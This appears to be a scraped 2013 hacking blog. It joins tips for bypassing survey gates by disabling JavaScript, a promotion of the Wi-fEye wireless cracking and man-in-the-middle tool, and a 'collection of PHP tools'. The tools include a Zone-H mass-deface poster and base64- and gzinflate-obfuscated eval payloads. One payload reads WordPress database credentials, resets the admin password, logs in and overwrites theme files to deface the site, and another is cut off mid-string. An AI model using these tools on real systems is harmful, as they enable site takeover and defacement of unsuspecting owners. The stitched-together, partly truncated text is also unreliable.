Firefox Click on tools in the top toolbar, and then select Options.
Now when the options open select the content tab, When it opens uncheck the box, that says enable JavaScript and select Ok.
Now go back to the website and refresh it, the website should show you its content without a survey, Once done you will need to repeat these steps but click enable
JavaScript as Facebook will not work correctly without it.

Instructions for Internet Explorer Browser :

To disable the surveys in Internet Explorer click on tools in the topright hand corner and then select Internet Options.
When the options open select the Security Tab and then press the custom Levels Button.
Scroll Down to Scripting And Disable the Java Options.
Refresh the webpage and it should open fine without showing any surveys. When you have finished looking at the webpage enable scripting again so that you can view facebook correctly.

This is a simple trick which will help you to disable JavaScript in your browser, and there for these types of surveys which uses JavaScript to check whether survey completed or not.

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Wireless Hacking

2013-08-28T02:20:00.001-07:00

WEP Password Cracker: Wireless Network Hacking | Download Wi-fEye

WEP Password Cracker: Wireless Network Hacking | Download Wi-fEye Wi-fEye is designed to help with network penetration testing, Wi-fEye will allow you to perform a number of powerful attacks Automatically,

all you have to do is to lanch Wi-fEye, choose which attack to perform, select your target and let Wi-fEye do the magic !!.

Wi-fEye is divided to four main menus:

Cracking menu: This menu will allow you to:

Enable monitor mode
View avalale Wireless Networks
Launch Airodump-ng on a specific AP
WEP cracking: this will allow you to perform the following attacks automatically:

- Interactive packet replay.
- Fake Authentication Attack.
- Korek Chopchop Attack.
- Fragmentation Attack.
- Hirte Attack (cfrag attack).
- Wesside-ng.

WPA Cracking: This contains the following attacks:

- Wordlist Attack
- Rouge AP Attack.
2. Mapping: this menu will allow you to do the following:

Scan the network and view the connected hosts.
Use Nmap Automatically.

3. MITM: this menu will allow you to do the following Automatically:

Enable IP forwarding.
ARP Spoof.
Launch ettercap (Text mode).
Sniff SSL/HTTPS traffic.
Sniff URLs and send them to browser.
Sniff messengers from instant messengers.
Sniff images.
DNS Spoof.
HTTP Session Hijacking (using Hamster).

4. Others: this menu will allow you to o the following automatically:

Change MAC Address.
Hijack software updates (using Evilgrade).

Download here

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PHP Tools

2013-08-28T01:58:00.002-07:00

COLLECTION OF PHP TOOLS

zone-h poster

PHP Code:

<?php
ob_start();



/************************************

Zone-H Mass Deface Poster | bY Team.MDx

*************************************/

// curl var mi ?



$sub = get_loaded_extensions();

if(!in_array("curl", $sub)){

die('Can not connect to this server to reconnect to the server ip_address');

}



// sari sari ?rdekler ucusuyorrrrrr...

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<style>

body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color:
#303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color:
#121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color:
#9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color:
#3a3a3a;}

input,

.kbrtm,select{background:#303030;color:#FFFFFF;fon
t-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18;
border-left:1px solid #5d5d5d; border-right:1px solid #121212;
border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}

button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}

body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #303030;}

textarea,option{background:#303030;color:#FFFFFF;f
ont-family:Verdana,Arial;font-size:10px;vertical-align:middle;
border-left:1px solid #121212; border-right:1px solid #5d5d5d;
border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}

</style>


<title>Zone-H Mass Deface Poster</title>

<style type="text/css">

.style1 {

text-align: center;

}

.style2 {

font-weight: bold;

}

.style3 {

font-size: large;

color: #FF0000;

}

div#option {

background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle;
border-left:1px solid #121212; border-right:1px solid #5d5d5d;
border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;



}

</style>

</head>

<?php

if($_POST) {

$hacker = $_POST['defacer'];

$method = $_POST['hackmode'];

$neden = $_POST['reason'];

$site = $_POST['domain'];



// bosmu dolumu

if ($hacker == "") {



die ("<center>Which distorted and said that if the answer is yes, type the name of<center>");

}

elseif($method == "--------SELECT--------") {

die("<center>Method must be told</center>");

}

elseif($neden == "--------SELECT--------") {



die("<center>Why do I have to tell</center>");

}

elseif($site == "") {



die("<center>Registration continued breakthroughs in the locations Zone H </center>");

}





$i = 0;

$sites = explode("\n", $site);

while($i < count($sites)) {

if(substr($sites[$i], 0, 4) != "http") {

$sites[$i] = "http://".$sites[$i];



}



poster("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);



++$i;

}

echo "<center><p>Zone-h Mass Deface Poster</p></center>";



}else{



echo '<center>


<form action="" method="post">

<div id="option">

<p>Defacer<br />

<span class="ok"><input type="text" name="defacer" size="40" /></span> </p>



<p>How to hack <br /><select name="hackmode">

<option >--------SELECT--------</option>

<option value="1">known vulnerability (i.e. unpatched system)</option>

<option

value="2" >undisclosed (new) vulnerability</option>

<option

value="3" >configuration / admin. mistake</option>

<option

value="4" >brute force attack</option>



<option

value="5" >social engineering</option>

<option

value="6" >Web Server intrusion</option>

<option

value="7" >Web Server external module intrusion</option>

<option

value="8" >Mail Server intrusion</option>

<option

value="9" >FTP Server intrusion</option>

<option

value="10" >SSH Server intrusion</option>



<option

value="11" >Telnet Server intrusion</option>

<option

value="12" >RPC Server intrusion</option>

<option

value="13" >Shares misconfiguration</option>

<option



value="14" >Other Server intrusion</option>

<option

value="15" >SQL Injection</option>

<option

value="16" >URL Poisoning</option>



<option

value="17" >File Inclusion</option>

<option

value="18" >Other Web Application bug</option>

<option

value="19" >Remote administrative panel access through bruteforcing</option>

<option

value="20" >Remote administrative panel access through password guessing</option>

<option

value="21" >Remote administrative panel access through social engineering</option>

<option

value="22" >Attack against the administrator/user (password stealing/sniffing)</option>



<option

value="23" >Access credentials through Man In the Middle attack</option>

<option

value="24" >Remote service password guessing</option>

<option

value="25" >Remote service password bruteforce</option>

<option

value="26" >Rerouting after attacking the Firewall</option>

<option

value="27" >Rerouting after attacking the Router</option>

<option

value="28" >DNS attack through social engineering</option>



<option

value="29" >DNS attack through cache poisoning</option>

<option

value="30" >Not available</option>

</select></p>

<p> Cause of hack ? <br /><select name="reason">



<option >--------SELECT--------</option>

<option

value="1" >Heh...just for fun!</option>

<option

value="2" >Revenge against that website</option>

<option

value="3" >Political reasons</option>

<option

value="4" >As a challenge</option>

<option

value="5" >I just want to be the best defacer</option>



<option

value="6" >Patriotism</option>

<option

value="7" >Not available</option>

</select> </p>



<p>Sites <br />

<span class="fur">Put all the sites on the server</span><br />

<span class=""><textarea name="domain" cols="43" rows="17"></textarea></span> </p>

<p><input type="submit" value="Send" />

</form>


<br>

</div>

</center>';



}



function poster($url, $hacker, $hackmode,$reson, $site )

{



$k = curl_init();

curl_setopt($k, CURLOPT_URL, $url);

curl_setopt($k,CURLOPT_POST,true);

curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);

curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);

curl_setopt($k, CURLOPT_RETURNTRANSFER, true);



$kubra = curl_exec($k);

curl_close($k);

return $kubra;

}



?>

<body>

</body>

</html>

wordpress indexer

PHP Code:

<?
###########################################
# Change WP Index #
# Coded By RAB3OUN #
# v.b-4@hotmail.com #
# #
###########################################

eval(base64_decode('CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAgICAgIENoYW5nZSB​XUCBJbmRleCAgICAgICAgICAgICAgICAgICAgICMKIyAgICAgIENvZGVkIEJ5IFJBQjNPVU4gICAgICA​gICAgICAgICAgICAgICMKIyAgICAgICAgICB2LmItNEBob3RtYWlsLmNvbSAgICAgICAgICAgICAgICM​KIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgIAojIyMjIyMjIyMjIyM​jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0​gMSApCiB7CgokdGV4dD1maWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2ZpbGUnXSk7CgoJCgkkdXNlcm5​hbWU9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsKJHBhc3N3b3JkPWV​udHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOwokZGJuYW1lPWVudHJ​lMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7CiRwcmVmaXg9ZW50cmUydjIoJHR​leHQsIiR0YWJsZV9wcmVmaXggID0gJyIsIiciKTsKfQoKIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA​9PSAyICkKIHsKICRwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOwogJHVzZXJuYW1lPSgkX1BPU1R​bJ2RiX3VzZXJuYW1lJ10pOwogJHBhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOwogJGRibmF​tZT0oJF9QT1NUWydkYl9uYW1lJ10pOwogCgoJCgp9Ci8qCmVjaG8oJHVzZXJuYW1lKTsKZWNobygiPGJ​yPiIpOwplY2hvKCRwYXNzd29yZCk7CmVjaG8oIjxicj4iKTsKZWNobygkZGJuYW1lKTsKZWNobygiPGJ​yPiIpOwplY2hvKCRwcmVmaXgpOwplY2hvKCI8YnI+Iik7CiovCgppZiAoJF9QT1NUWydmb3JtX2FjdGl​vbiddKQp7CiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZSh​iYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTs​gZXhpdDsgPz4iOwogICAgICAkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSw​kcGFzc3dvcmQpIDsKCSAgaWYgKCRsaW5rKSB7CiAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1​lLCRsaW5rKSA7CgkJICRyZXExID1teXNxbF9xdWVyeSgiVVBEQVRFIGAiLiRwcmVmaXguInVzZXJzYCB​TRVQgYHVzZXJfbG9naW5gID0gJ2FkbWluJyxgdXNlcl9wYXNzYCA9ICckMSQ0MlJFZ3hTUiQudExWNFB​TYlFtQ0tzaXN5Q1N5aHEuJyBXSEVSRSBgd3BfdXNlcnNgLmBJRGAgPTEgTElNSVQgMSA7Iik7CmVjaG8​oIjxicj5bK10gQ2hhbmdpbmcgYWRtaW4gcGFzc3dvcmQgdG8gMTIzNDU2Nzg5Iik7CQoJJHJlcSA9bXl​zcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9​uYW1lPSdob21lJyIpOwoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7CiRzaXRlX3VybD0​kZGF0YVsib3B0aW9uX3ZhbHVlIl07CgkgCgkgCSBlY2hvKCI8YnI+Iik7CgkgZWNobygkZGF0YVsib3B​0aW9uX3ZhbHVlIl0pOwoJIH0KICAgICAgJHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU​7IE1TSUUgNy4wYjsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDEuMS40MzIyOyBBbGV4YSBUb29sYmF​yOyAuTkVUIENMUiAyLjAuNTA3MjcpIjsKCgoKCSAkdXJsMj0kc2l0ZV91cmwuIi93cC1sb2dpbi5waHA​iOwoKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTs​KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFR​fUE9TVEZJRUxEUywibG9nPWFkbWluJnB3ZD0xMjM0NTY3ODkmcmVtZW1iZXJtZT1mb3JldmVyJndwLXN​1Ym1pdD1Mb2cgSW4mdGVzdGNvb2tpZT0xIik7CgpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9​XTE9DQVRJT04sIDEpOwpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3V​ybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9​VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUp​BUiwgIkNPT0tJRS50eHQiKTsgCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSw​gIkNPT0tJRS50eHQiKTsgCgoKJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwoKJHBvcyA9IHN0cnBvcyg​kYnVmZmVyLCJhZG1pbiIpOwoKaWYoJHBvcyA9PT0gZmFsc2UpIHsKZWNobygiPGJyPlstXSBMb2dpbiB​FcnJvciIpOwpleGl0Owp9CmVsc2UgewplY2hvKCI8YnI+WytdIExvZ2luIFN1Y2Nlc3NmdWwiKTsKfQo​gICAKZWNobygiPGJyPlsqXSBUaGVtZSBlZGl0b3IgLi4uIik7CgkgJHVybDI9JHNpdGVfdXJsLiIvd3A​tYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7CgokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN​oLCBDVVJMT1BUX1VSTCwgJHVybDIpOwoKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0N​BVElPTiwgMSk7CmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3N​ldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJ​BR0VOVCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCA​iQ09PS0lFLnR4dCIpOyAKICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkN​PT0tJRS50eHQiKTsgCgoKJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwoKCiRhcj1leHBsb2RlKCAnPGx​pPjxhIGhyZWY9InRoZW1lLWVkaXRvci5waHA/ZmlsZT0nLCAkYnVmZmVyKTsKICAgICBmb3IoJHZpPTA7JHZpIDwgY291bnQoJGFyKTskdmkrKykKICAg​ICB7CglpZihzdWJzdHJfY291bnQoJGFyWyR2aV0sIihpbmRleC5waHApIikgIT0gMCl7CiR0aGVtZT1l​bnRyZTJ2MigkYXJbJHZpXSwnL3RoZW1lcycsJyI+Jyk7CgkvLwllY2hvKGVudHJlMnYyKCRhclskdmld​LCcvdGhlbWVzJywnIj4nKSk7Cn0KfQoKaWYoJHRoZW1lKSB7CmVjaG8oIjxicj5bK10gaW5kZXgucGhw​IGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsKCn0KZWxzZSB7CmVjaG8oIjxicj5bLV0gaW5k​ZXgucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsKZXhpdDsKfQplY2hvKCI8YnI+WypdIFVw​ZGF0aW5nIEluZGV4LnBocCAuLi4uLiIpOwogICAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t​LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxcCiR0aGVtZT1zdHJfcmVwbGFjZSgiJmFtcDsiLCImIiwk​dGhlbWUpOwoKICAkdXJsMj10cmltKCRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT0vdGhlbWVzIi4kdGhlbWUpOwogCgokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGNo​LCBDVVJMT1BUX1VSTCwgJHVybDIpOwoKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NB​VElPTiwgMCk7CmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3Nl​dG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VS​QUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwg​IkNPT0tJRS50eHQiKTsgCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNP​T0tJRS50eHQiKTsgCgoKJGJ1ZmZlcjAgPSBjdXJsX2V4ZWMoJGNoKTsKLy9lY2hvKCRidWZmZXIwKTsK​CiRfd3Bub25jZT1lbnRyZTJ2MigkYnVmZmVyMCwnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9Il93cG5v​bmNlIiBuYW1lPSJfd3Bub25jZSIgdmFsdWU9IicsJyIgLz4nKTsKJF9maWxlPWVudHJlMnYyKCRidWZm​ZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOwoKCgkg​JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7CgokY2ggPSBjdXJsX2lu​aXQoKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOwpjdXJsX3NldG9wdCgkY2gs​IENVUkxPUFRfUE9TVCwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdj​b250ZW50PSIuJGguIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bu​b25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpOwoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExP​V0xPQ0FUSU9OLCAxKTsKY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CmN1​cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf​VVNFUkFHRU5ULCAkdXNlcmFnZW50KTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVK​QVIsICJDT09LSUUudHh0Iik7IAogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUs​ICJDT09LSUUudHh0Iik7IAoKCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsKCi8vZWNobygkYnVmZmVy​KTsKJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+​Jyk7CgppZigkcG9zID09PSBmYWxzZSkgewplY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIEluZGV4LnBocCBF​cnJvciIpOwpleGl0Owp9CmVsc2UgewplY2hvKCI8YnI+WytdIEluZGV4LnBocCBVcGRhdGVkIFN1Y2Nl​c3NmdWx5Iik7Cn0KCgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCiRhcj1leHBsb2RlKCAn​PGxpPjxhIGhyZWY9InRoZW1lLWVkaXRvci5waHA/ZmlsZT0nLCAkYnVmZmVyKTsKICAgICBmb3IoJHZpPTA7JHZpIDwgY291bnQoJGFyKTskdmkrKykKICAg​ICB7CglpZihzdWJzdHJfY291bnQoJGFyWyR2aV0sIihob21lLnBocCkiKSAhPSAwKXsKJHRoZW1lPWVu​dHJlMnYyKCRhclskdmldLCcvdGhlbWVzJywnIj4nKTsKCS8vCWVjaG8oZW50cmUydjIoJGFyWyR2aV0s​Jy90aGVtZXMnLCciPicpKTsKfQp9CgppZigkdGhlbWUpIHsKZWNobygiPGJyPlsrXSBob21lLnBocCBm​aWxlIGZvdW5kZWQgaW4gVGhlbWUgRWRpdG9yIik7Cgp9CmVsc2UgewplY2hvKCI8YnI+Wy1dIGhvbWUu​cGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsKZXhpdDsKfQplY2hvKCI8YnI+WypdIFVwZGF0​aW5nIGhvbWUucGhwIC4uLi4uIik7CiAgIAovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t​LS0tLS0tLS0tLS0tLS0tLS0tLS0tXFwKJHRoZW1lPXN0cl9yZXBsYWNlKCImYW1wOyIsIiYiLCR0aGVt​ZSk7CgogICR1cmwyPXRyaW0oJHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxl​PS90aGVtZXMiLiR0aGVtZSk7CiAKCiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENV​UkxPUFRfVVJMLCAkdXJsMik7CgoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9O​LCAwKTsKY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CmN1cmxfc2V0b3B0​KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VO​VCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09P​S0lFLnR4dCIpOyAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lF​LnR4dCIpOyAKCgokYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOwovL2VjaG8oJGJ1ZmZlcjApOwoKJF93​cG5vbmNlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2Ui​IG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOwokX2ZpbGU9ZW50cmUydjIoJGJ1ZmZlcjAs​JzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInLCciIC8+Jyk7CgoKCSAkdXJs​Mj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsKCiRjaCA9IGN1cmxfaW5pdCgp​OwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VS​TE9QVF9QT1NULCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRl​bnQ9Ii4kaC4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJl93cG5vbmNlPSIuJF93cG5vbmNl​LiImc3VibWl0PVVwZGF0ZSBGaWxlIik7CgpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9D​QVRJT04sIDEpOwpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3VybF9z​ZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VS​QUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwg​IkNPT0tJRS50eHQiKTsgCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNP​T0tJRS50eHQiKTsgCgoKJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwoKLy9lY2hvKCRidWZmZXIpOwok​cG9zID0gc3RycG9zKCRidWZmZXIsJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIj4nKTsK​CmlmKCRwb3MgPT09IGZhbHNlKSB7CmVjaG8oIjxicj5bLV0gVXBkYXRpbmcgaG9tZS5waHAgRXJyb3Ii​KTsKZXhpdDsKfQplbHNlIHsKZWNobygiPGJyPlsrXSBob21lLnBocCBVcGRhdGVkIFN1Y2Nlc3NmdWx5​Iik7Cn0KCn0gCgogCmZ1bmN0aW9uIGVudHJlMnYyKCR0ZXh0LCRtYXJxdWV1ckRlYnV0TGllbiwkbWFy​cXVldXJGaW5MaWVuKQoKewoKJGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOwok​YXIxPWV4cGxvZGUoJG1hcnF1ZXVyRmluTGllbiwgJGFyMFsxXSk7CiRhcj10cmltKCRhcjFbMF0pOwpy​ZXR1cm4gJGFyOwp9Cgo/Pgo8dGl0bGU+Q2hhbmdlIFdQIEluZGV4IENvZGVkIEJ5IFJBQjNPVU48L3RpdGxlPiAKPGJvZHkgYmdj​b2xvcj0iIzAwMDAwMCI+CiA8c3R5bGU+CgpCT0RZIHsgU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMxOTE5​MTk7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogb2xpdmU7ICAgY29sb3I6IHdoaXRlO30KdGV4dGFyZWF7​YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6​ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30KaW5w​dXR7Rk9OVC1XRUlHSFQ6bm9ybWFsO2JhY2tncm91bmQtY29sb3I6ICMxOTE5MTk7Zm9udC1zaXplOiAx​M3B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?>

joomla indexer

PHP Code:

<?
###########################################
# Change Joomla Index #
# Coded By RAB3OUN #
# v.b-4@hotmail.com
# http://www.rab3oun.net/
# #
###########################################

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?>

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PHP Code:

<?php
/*
online encode by cha88.cn!

*/
eval(gzinflate(base64_decode('FVfFDsTIEb3vj2RXPphJWWVlZh7jJTIzjdlfn8mtj1VdD//5z9//LM3yxx/lmQ5/1m87VUO6l39m6VYS2H+LMp+L8s9/iUkl8purCP3npB6DVG7QWJTQHTPZHPAw2XK4OkkInaDvsm6tIqIgiMM0qFPoc9/gMDo4CI8UGfgWMaD0SGR5v9lUmHywCE9AEFNNDv8CpWrXbrm9cM/u3NuSdzY0QzU13kdHKF6TScbrZyfJ5SgWei8DoRTjazLVu9IS6k7jhaXx5mwxxkVEPzumc7ditDKXs3E​o4KQAU1Cs++arBevyWgyfFd7cWm4f3SztnIIIxuTWEJ4rEfiorFiGl/eXxyWkPMGvOHZA1pZwzA645a9yEefk2jPWeEkr/aD9O4d+NhK+gvmdql5pgMZn6Q/rXVdIzfSdU8lEtaVrGmtg9VipxruHpSC9JbXFaGkooAzSelrcGpaLhCVpxNusYGnf4J5WfexFmzhehGs​Ccj5OXMu4G3cSL5IU73aaPMaOkNFLANL4VbrLJJk96zbE9cKomyy5eeOUF67GKI6LLPB7FI3U92u+6Az​urLsWKko5Sg/ZWIblPfwtpkcCZsM0Y/6VnNwPSnzNQUdeis5LFqm6RxAN3twf3/0M6z7KTcUnGBBOj/2037scsnpSsfO69OwesBw59a+jPJ1GH7m+ILl8rlFa2f07hZPCy1+P6IonQ84Ini9VVoitZD8PBVrpCE​S/BVryAb0sTioQVDYPpzfRNNKK4lWRjadVqK0CEJ4WPHt8aJKkWMU1VmqyVWM6cDO71d6yXUNBn/N7hSo7eJ4ac9Lp3lUXDqfrVDZ7bXrj7QMrspbNtwI/JGOWM++8Vb5GPmIG/Pm0alQ8yulb0OJ4GmKY/BkEjZO57s40VSCLCN3VUNZvO8a56sdvPfsGO83XdKDwWshSLbtGZygjmh3XwqJ1JO5ElFV6pjldLUJhO​Frt0C34HLKLhVvK8HkvT2D8JjzfHPZJyRPi4/29FgB5OaJI1NgJwk2LYTEJnpxpN6VEdRkxekuW6Si6h9FJAcp6giJepfYdpI4xxTohXEke5zVaJ75x8k​8K7r6e5zG3Sbn11GeaIzRtV1X1pHj5Qeb4di4DG1zdaumF9vyhDtdbg9K8UPTSHAEPT5Kryib8rUtbEQ​JSyyTmC2/+3WRzNokUkKA1K7pzHpE8JON0/kOvT0V4PYntOheWKVfikrab6yel8+bp/gOkrAQDB1QT1aE9XTA5+FFECf80JBhsAeS8unCwCG03AEmOzaMz0X4ajvkuIwKoBCL7g07VpJ9CE8Ie7​pmYJkpjxJ4d+j4/aV+DRFElvpo2T9C4vRv49fnWUfQwJ3Ud1eVlugPFWPK1nTuoBx3fPpR0jKF4ftljoMZIn5yTGF/AEbYJFhH+Y8u7KjZil5RjImoiAQQmYWzow7xCmiwEWs9yWIDGbY53/7Q35xtYAk3Y9sEpq52pYquP0NpKof8KkFuJznCl4yv5uQYvgvjywDKEDtKQJWUITrdiWOawtXbRPQpKH​jlSCuVRKuPqsIUWjPb1zURyO